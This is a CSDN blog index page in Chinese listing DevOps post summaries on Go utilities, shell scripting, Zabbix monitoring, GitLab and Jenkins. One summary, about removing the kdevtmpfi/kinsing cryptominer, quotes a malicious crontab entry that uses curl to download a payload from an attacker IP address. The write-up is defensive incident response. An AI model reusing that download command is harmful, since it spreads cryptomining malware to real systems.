自定义博客皮肤VIP专享

*博客头图:

格式为PNG、JPG,宽度*高度大于1920*100像素,不超过2MB,主视觉建议放在右侧,请参照线上博客头图

请上传大于1920*100像素的图片!

博客底图:

图片格式为PNG、JPG,不超过1MB,可上下左右平铺至整个背景

栏目图:

图片格式为PNG、JPG,图片宽度*高度为300*38像素,不超过0.5MB

主标题颜色:

RGB颜色,例如:#AFAFAF

Hover:

RGB颜色,例如:#AFAFAF

副标题颜色:

RGB颜色,例如:#AFAFAF

自定义博客皮肤

-+

但行好事,莫问前程

一入IT深似海

  • 博客(77)
  • 资源 (2)
  • 收藏
  • 关注

原创 ingress-nginx控制器证书不会自动更新问题

好久没更新了,正好今天遇到了一个很有意思的问题,在这里给大家分享下,同时也做下记录。

2024-07-05 17:20:45 397

原创 shell实现控制进程并发数

通过文件描述符和命名管道实现shell中控制进程并发数

2023-11-17 15:34:10 527

原创 Go实现一个简单的http和https代理工具

在日常开发过程中,经常遇到需要代理的问题。例如想要访问企微的api,但是想模拟下接口不通的情况下如何处理,这个时候一般都是去修改本地hosts,或者配个nginx代理。但是都比较麻烦,simpleproxy可以简单解决这个问题,它支持http和https代理,https模式下支持自定义状态码和返回值。具体使用示例如下。支持ubuntu 20和centos 7操作系统,需要root权限执行。

2023-06-02 17:45:28 791

原创 gitlab初始化备忘

【代码】gitlab初始化备忘。

2023-05-29 15:57:01 221

原创 Go实现自定义prometheus的exporter

自定义一个prometheus的exporter

2023-03-27 11:22:35 1708

原创 Go实现smtp邮件发送

如何使用go的smtp实现简单的邮件发送

2022-01-20 17:45:19 2035

原创 linux有些命令的输出过滤不掉?

问题各位运维小伙伴们大家应该都遇到这种问题:有些命令的输出通过awk、grep、sed等都过滤不掉,比如chkconfig --list解决办法如上所示,因为这个命令没有静默模式,这些输出像牛皮癣一样带着特别闹心。大家知道linux有标准输入、标准输出、标准错误,其实以上牛皮癣一样的输出属于标准错误,只要不展示到屏幕即可。办法如下chkconfig --list 2> /dev/nullaegisnetconsolenetwork...

2021-10-27 15:03:43 627 2

原创 mysql主从同步,从节点状态(show slave status)输出信息详解

网上有很多类似文章,但是排版和内容不是很直观,决定自己总结一份从节点状态(show slave status)输出信息详解,如有疑问可查看官方文档# 查看数据库同步状态信息mysql> show slave status\G;*************************** 1. row ***************************# 等待master发生事件Slave_IO_State: Waiting for master to send event

2021-10-14 15:42:59 2100 1

原创 Go实现web文件下载

需求我想要实现一个轻量级,实现简单的一个web文件下载服务,就只提供通过浏览器访问能够下载服务器指定目录下的文件的功能即可。代码实现package mainimport ( "flag" "fmt" "log" "net/http" "os" "time")var port stringvar path stringfunc main() { // 1. 可以从命令行接受参数 flag.StringVar(&port, "p", "8080", "Listen

2021-09-13 16:42:32 2178

原创 nginx代理访问rancher

需求是内网部署了一个rancher,想要通过另一台拥有公网的机器代理访问到rancher这里不多赘述,直接附上代码```sdf```

2021-09-08 11:07:50 2389 4

原创 Gitlab备份还原

官方文档本次实验条件:Omnibus版本Gitlab12.1及更早版本(我们是10.8)准备两台相同版本的Gitlab,最好是新部署,还没创建项目注意:备份还原会将新的仓库所有现有数据删除 (SQL) 或移动到单独的目录GitLab 提供了一个命令行界面来备份整个实例,包括:数据库附件Git 存储库数据CI/CD 作业输出日志CI/CD 作业工件LFS 对象Container Registry 映像Gitlab (页面内容)Snippets (片段)Group wiki

2021-07-27 10:52:36 1446 1

原创 记一次服务器负载过高问题

记一次服务器负载过高问题早上刚到接到前方同事电话,说线上有台服务访问延迟很高,他排查了下发现内存还很充足,cpu使用率也不是很高,单就是负载出奇的高,等我到后开始一系列的排查1. 查看服务器资源使用情况1.1 top首先使用top -c查看了下,能够看到服务器cpu使用率正常,swap没有使用,内存剩余还很多,没有僵尸进程,也其他异常#top -ctop - 11:26:23 up 364 days, 22:00, 2 users, load average: 60.13, 70.80, 7

2021-07-15 12:04:42 1161

原创 记一次被注入挖矿程序kdevtmpfi解决记录

前言发现自己服务器资源使用异常,cpu使用率100%,内存使用也很多,且有陌生的进程。那很有可能是被入侵植入了挖矿程序解决问题遇到这种问题切忌惊慌失措,一般挖矿程序除了占用服务资源不会有其他危害1. 切断来源一般被侵入的话,服务器上的计划任务会被修改,会有一个进程一直在检测程序是否存在,如果只kill进程删除文件的话会发现过不了一会就会死灰复燃,所以斩草除根,先把去外界不安全的连接关掉。 被修改的计划任务如curl -o /tmp/kinsing http://45.137.155.5.

2021-02-05 17:42:05 4842 3

原创 Go使用etcd出坑go.mod

相信各位在是使用go语言操作etcd也没有那个顺利吧,希望这个配置能够给你带来帮助go.modmodule etcd_demogo 1.15require ( github.com/coreos/etcd v3.3.25+incompatible // indirect github.com/coreos/go-semver v0.3.0 // indirect github.com/coreos/go-systemd v0.0.0-20191104093116-d3cd4ed1dbcf

2021-02-04 10:31:18 955 1

原创 vscode安装go插件提示 (go: cannot find GOROOT directory: c:\go)

起因是有一天我的vscode不知什么原因,语法检查功能没啦,每当我保存代码是还一直提示"Error: TypeError: Cannot read property 'get' of undefined"。去网上找了很多文章,有用的却一个没有,再后来我重装vscode、go也不行。而且我的插件也装不上了,一直提示"go: cannot find GOROOT directory: c:\go",但是我GOROOT地址已经配置了。直到后来发现了这个配置,在vscode终端执行go env...

2021-01-22 14:20:37 8145 3

原创 Go实现聊天小工具(udp版)

要看tcp版的小伙伴请移步:聊天小工具tcp版本udp版本和tcp版本很像,都是分为server端和client端,具体代码如下代码实现server.gopackage mainimport ( "bufio" "fmt" "io" "net" "os" "strings")// 监听UDP协议进行通信func main() { // 建通udp端口, 传入协议名称与,UDPAddr类型的地址与端口 listen, err := net.ListenUDP("

2021-01-15 17:34:38 493

原创 Go实现聊天小工具

小工具分为server端和client端,废话不多说,代码如下代码实现server.gopackage mainimport ( "bufio" "fmt" "net" "os" "strings")func process(conn net.Conn) { defer conn.Close() var tmp [128]byte reader := bufio.NewReader(os.Stdin) for { n, err := conn.Read(tmp[

2021-01-14 19:59:23 781 6

原创 Go语言实现在文件中插入内容

导语此脚本写的还很稚嫩,实现插入的功能也很简单,仅供大家参考,有问题可以留言或者私信。代码实现目录结构:123.txt(大家准备个此名的文件,内容随便)123456abcefgmain.gopackage mainimport ( "fmt" "io" "os")func editFile() { // 要实现追加的方式插入值而不是覆盖 // 源文件 srcfile, err := os.OpenFile("./123.txt", os.O_RDWR,

2020-12-30 22:54:20 960

原创 Go语言实现学生管理系统

使用go来实现一个学生管理系统,要实现的功能也很简单,拥有查看、添加、修改、删除功能。代码分为两个文件main.go、student.go,main作为程序入口,有功能展示模块,student是实现上述功能的方法和函数。当然也可以把两个文件合到一起,把student中的代码拷贝到main即可。...

2020-12-23 14:25:43 2450 2

原创 Go语言实现SHA256或SHA512哈希算法

问题编写一个程序,默认情况下打印标准输入的SHA256编码,并支持通过命令行flag定制,输出SHA384或SHA512哈希算法。代码实现

2020-12-15 14:49:39 2681 2

原创 Go语言实现分金币游戏

Go语言实现分金币游戏

2020-12-01 20:25:13 428 3

原创 python脚本实现gitlab代码库自动迁移

场景:公司服务器升级,需要把gitlab代码库迁移另一台gitlab,由于代码库众多,手动操作起来极其麻烦,所以去网上找了找大佬的解决方案。但是由于gitlab版本等一些前提条件不同,所以决定自己动手。前提1. gitlab上生成Account Token2. 服务器上要有git应用3. 本人操作环境centos7.5 python2.7(应该也是支持3,没试过)一、 Gitlab API操作文档地址:http://git.xxxxx.com//help/api/README.md

2020-07-16 21:00:52 1235

原创 zabbix监控mysql主从复制状态

本文以已经部署好zabbix-server和zabbix-agent,并正常使用的前提下,介绍如何配置zabbix监控mysql主从复制状态1. 创建监控脚本首先咱们需要在zabbix-agent服务器上创建一个可以获取mysql主从复制状态的脚本#!/bin/bash#author: liHOSTIP=$1PASSWORD=${2:-"xxxxxxxxx"}conid=`sudo docker ps |grep mysql-master |awk '{print $1}'`#检测数

2020-06-16 17:40:26 554 1

原创 用shell脚本实现zabbix监控docker

用shell脚本实现zabbix监控docker之前有补充过一个用python脚本来实现监控docker,奈何python不是太熟练,而且因为环境特殊用python脚本不能实现我所想要的效果,所以又写了个shell脚本。相比python脚本,shell更简单,更灵活,更容易理解可参考用python脚本实现zabbix监控docker废话不多说直接上脚本#!/bin/bash#author: lining#获取容器的名称containers=(`sudo docker ps|tail -n +2

2020-06-12 10:49:25 758

原创 删除文件出现“该项目不在请确认该项目的位置”

在网上搜了很多无非就是写个bat程序、或者使用360文件粉碎、或者改权限。都试了一遍,不得不说p用没有后来想了另外一个办法,试了下解决了问题,办法如下:1. 进去到cmd2. 切换到要删除文件的目录下cd Desktop\1233. 删除文件del /P /F qweq*这样就删除了,注意一点就是文件名不需要写全,后面用*表示,为什么这样做不解释了...

2020-05-14 11:04:10 3618 4

原创 输入一个数字n,输出一个n层的特定三角形

题目:输入一个数字n,输出一个n层的特定三角形,三角形内数字增长是有规律的代码如下,基本能满足要求。抛砖引玉,希望能给小伙伴们点启发#!/usr/bin/env python3#-*- coding:utf-8 -*-num = int(input('请输入一个整数:'))# 定义一个长为num的列表high = [[0] * num ]# 先定义一个num*num的一个列表,...

2020-04-29 18:14:19 9975 1

原创 Sublime text3设置中文

首先打开编辑器,然后找到顶部菜单的Tools菜单然后选择Tools菜单下面的Command Paletter选项在打开的命令行模式输入框中,输入pac,然后回车安装,如下图所稍等片刻以后,软件会提示以下的信息(因为国内网访问比较满可能需要多等会),证明工具已经安装好了,如下图所示重启以后,在菜单栏的preferences菜单下你会看到Package Settings和Package C...

2020-04-11 09:01:41 1210 1

原创 论ls目录名与目录名后加/*的区别

突然发现一个有趣的现象先让大家看下结果ls ./imagesls ./images/ls ./images/*通过上面现象可以看下ls ./images 和ls ./images/的结果是一样的而ls ./images/*的结果带有绝对路径信息这个小区别可能会在使用xargs命令时有特别的表现...

2020-04-10 18:00:38 647

原创 harbor使用免费证书配置https

其实一开始我是使用的自认证的CA证书,但是在后来的使用中发现了几个问题1. push或pull都需要配置证书才能操作(如果有很多客户端使用的话是很麻烦的事)2. 手动配置CA会比较复杂3. 不适合正式环境使用综合以上问题决定去申请个免费证书,现在有好多云厂商支持免费证书申请,我这里给大家罗列下,我用的是阿里云的免费证书1.阿里云2. 腾讯云3.百度云4. 华为云...

2020-03-16 16:11:06 3871 6

原创 jenkins的LANG值造成的失败

事情是这样的,有一个java项目在build的时候总是因为一个中文目录的乱码导致build失败,但是在服务器执行命令就不报错,折腾了很久,才发现问题所在原因是LANG的值我原本写的是zh.CH.UTF-8 ,后来改成了zh_CN.UTF-8 ,终于不再报错...

2020-03-12 19:22:13 343

原创 Harbor官方部署文档

官方安装文档地址:https://github.com/goharbor/harbor/blob/master/docs/1.10/install-config/installation-prereqs.mdHarbor下载地址地址:https://github.com/goharbor/harbor/releasesHarbor配置文件详解地址:https://github....

2020-03-11 14:53:38 1065

原创 gitbook+jenkins+gitlab实现文档持续集成

首先需要明确的是咱们要实现的是什么功能?是为了搭建一个gitlab+gitbook的团队协作文档系统,然后通过jenkins实现持续集成,也就是当你在gitlab上修改文档以后,jenkins会自动build此项目,这个时候你再通过浏览器访问就是修改后的内容。实现这个的过程大致分为四部分:gitbook文档编写,gitlab配置,jenkins配置,nginx实现浏览器访问一、 gitbo...

2020-03-10 18:09:43 1554

原创 jenkins的windows节点执行shell脚本

迁移jenkins时,需要依赖windows的节点,在网上查了资料装好以后,接下来简直就是噩梦,因为没有人指导,在项目build上70多次的时候终于成功。其实遇到的问题可能很简单,但是只有在你碰壁很多次后才能找到原因。在这里记录下几个比较典型的问题,希望可以帮到大家。1. jenkins添加windows节点Manage Jenkins --> Manage Nodes and Cl...

2020-01-15 18:14:01 6240 3

原创 jenkins权限管理,使不同用户看到不同视图

最近在迁移jenkins,在恢复的过程中遇到了各种问题,比如编辑jenkins的用户权限使不同的用户看到指定的视图。这个问题看着很简单,但是实际操作却有很多坑,网上也找了很多文档,可能次问题比较低级,有用的博客很少。经过实践以后,在这里填下坑,希望可以帮到像我一样的小伙伴1. 安装插件要实现这个功能需要安装插件:Role-Based StrategyManage Jenkins &gt...

2020-01-02 14:26:44 4963

原创 Git仓库迁移所有的分支和标签,也包括日志。

网上找了很多,发现这一篇挺好,但是有些地方不够完善,所以复制过来修改下需要四行命令:git clone --mirror <URL to my OLD repo location>cd <my OLD repo location path>git remote set-url origin http://git.xxxxxx.com/xxx/nginx-lb...

2019-12-20 18:15:41 847

原创 zabbix监控docker容器填坑

场景根据领导要求需要去配置zabbix去监控docker容器,在网上找了很多文章,最后进了这个坑https://www.cnblogs.com/binglansky/p/9132714.html,最后验证这位老哥这个办法是可以的,只不过中间一些配置的细节没有描述太清楚,怪我才疏学浅找了各种文档,试了很多办法,最终搞定这个监控,在这里做下记录,希望能帮到和我一样的初学者。第一步 配置zabb...

2019-11-22 17:52:18 2938 2

原创 脚本中如何使kill后台进程后不提示Terminated信息

在网上找了很多关于kill后台进程后不提示Terminated信息的文章,有好多小伙伴们都说使用 set +m,自己在命令行试了下确实可以,但只是在命令行中有效,在脚本中却不起作用set +m #通过关闭“监控模式”,使shell终止后台作业后不打印报告。接着又找了很多文章,试了很多不同的办法,结果确实相同的不起作用,直到找到了这篇文章:shell中文 如何在bash中殺死後禁止終止消...

2019-10-17 18:44:32 2243

转载 Java和Docker限制的那些事儿

Java和Docker不是天然的朋友。 Docker可以设置内存和CPU限制,而Java不能自动检测到。使用Java的Xmx标识(繁琐/重复)或新的实验性JVM标识,我们可以解决这个问题。虚拟化中的不匹配Java和Docker的结合并不是完美匹配的,最初的时候离完美匹配有相当大的距离。对于初学者来说,JVM的全部设想就是,虚拟机可以让程序与底层硬件无关。那么,把我们的Java应用打包到...

2019-10-10 12:15:08 914

原创 记一次docker pull错误

情景:在docker pull xxxxxx 镜像时,提示:failed to register layer: link /data/docker/overlay/4d979c53640fceac63a01bc811c98840c75e3317b8366248aec190e81af4e0e5/root/var/lib/yum/yumdb/l/88a2347159dabcf13399d599542...

2019-09-12 12:55:07 1038

原创 putty上的ppk转换为Xshell上面可用的密钥

感谢网上的大佬,本文借鉴于他们1.在putty运行的根目录找到一个puttygen.exe应用程序并打开(没有这个软件的点击这里)2.找到上面菜单栏Conversions>Impost key 导入xxxx.ppk文件3.如果ppk设置的有密码会提示输入密码,然后到上面菜单栏Conversions>Export key导出文件4.这样就生成了xshell...

2019-09-09 14:48:14 979

zabbix监控docker容器shell脚本

此脚本用来实现zabbix监控docker容器,使用简单易懂,是不错的选择。此脚本用来实现zabbix监控docker容器,使用简单易懂,是不错的选择。此脚本用来实现zabbix监控docker容器,使用简单易懂,是不错的选择。

2020-06-12

initserver.sh

此脚本操作简单,用来初始化系统,会安装必要的软件包,做一些必要配置,配置好以后会询问是否重启服务器

2020-04-30

空空如也

TA创建的收藏夹 TA关注的收藏夹

TA关注的人

提示
确定要删除当前文章?
取消 删除